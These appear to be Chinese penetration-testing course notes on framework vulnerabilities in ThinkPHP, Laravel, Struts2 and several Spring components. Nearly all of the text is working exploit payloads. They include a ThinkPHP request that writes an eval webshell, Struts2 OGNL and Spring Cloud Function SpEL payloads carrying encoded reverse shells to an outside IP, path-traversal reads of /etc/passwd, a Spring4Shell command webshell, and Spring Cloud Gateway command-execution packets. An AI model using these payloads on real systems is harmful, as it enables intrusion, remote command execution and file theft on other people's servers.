知识点:
1、PHP-框架安全-Thinkphp&Laravel
2、J2EE-框架安全-SpringBoot&Struts2
章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议
框架下面会有很多组件(插件)
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。
影响版本:
Laravel <= 8.4.2
https://github.com/zhzyker/CVE-2021-3129
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架
综合工具:武器库-Thinkphp专检(3-6版本)
工具箱下载:https://blog.csdn.net/m0_60571842/article/details/135054522
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/x.php
Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。
可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。
影响版本:
Apache Struts 2.0.0 - 2.5.25
https://github.com/YanMu2020/s2-062
(该脚本支持S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE)
python .\s2-062.py --url http://47.98.193.176:18588/ --cmd id
影响版本
Apache Struts 2.0.0 - 2.5.29
post /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))
见前面Actuator-heapdump
利用讲解
参考地址:
https://blog.csdn.net/m0_60571842/article/details/135096224
Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。
复现参考:
https://blog.csdn.net/weixin_43165012/article/details/121152482
payload
windows
http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../
linux
http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../
Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。
影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
复现参考:https://developer.aliyun.com/article/1160011
payload
POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
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Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供了一个好用的框架。
影响版本:
Spring Framework < 5.3.18
Spring Framework < 5.2.20
Spring Framework 的衍生框架构建的网站或应用
复现参考:https://www.csdn.net/article/2022-11-24/128026635
1、写后门tomcatwar.jsp
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
2、访问jsp触发后门
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id
3、工具项目
https://github.com/BobTheShoplifter/Spring4Shell-PoC
python poc.py --url=http://192.168.44.131/
http://192.168.44.131/tomcatwar.jsp?pwd=j&cmd=whoami
影响版本:
Spring Cloud Gateway是Spring中的一个API网关。
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway 版本
手工复现参考:https://cloud.tencent.com/developer/article/2164533
1、首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包:
POST /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
2、然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包:
POST /actuator/gateway/refresh HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
3、之后,访问 test 路由地址,查看命令执行结果,发送如下数据包:
GET /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
可利用 SpringBootExploit
工具,输入目标地址进行检测环境,使用 SpringCloudGateway 利用链获取目标服务器权限
漏洞利用成功后,根据提示内容访问 webshell 地址,执行系统命令验证即可。
1、https://github.com/0x727/SpringBootExploit
2、https://github.com/13exp/SpringBoot-Scan-GUI
3、更多工具利用请参考:https://blog.csdn.net/m0_60571842/article/details/134133830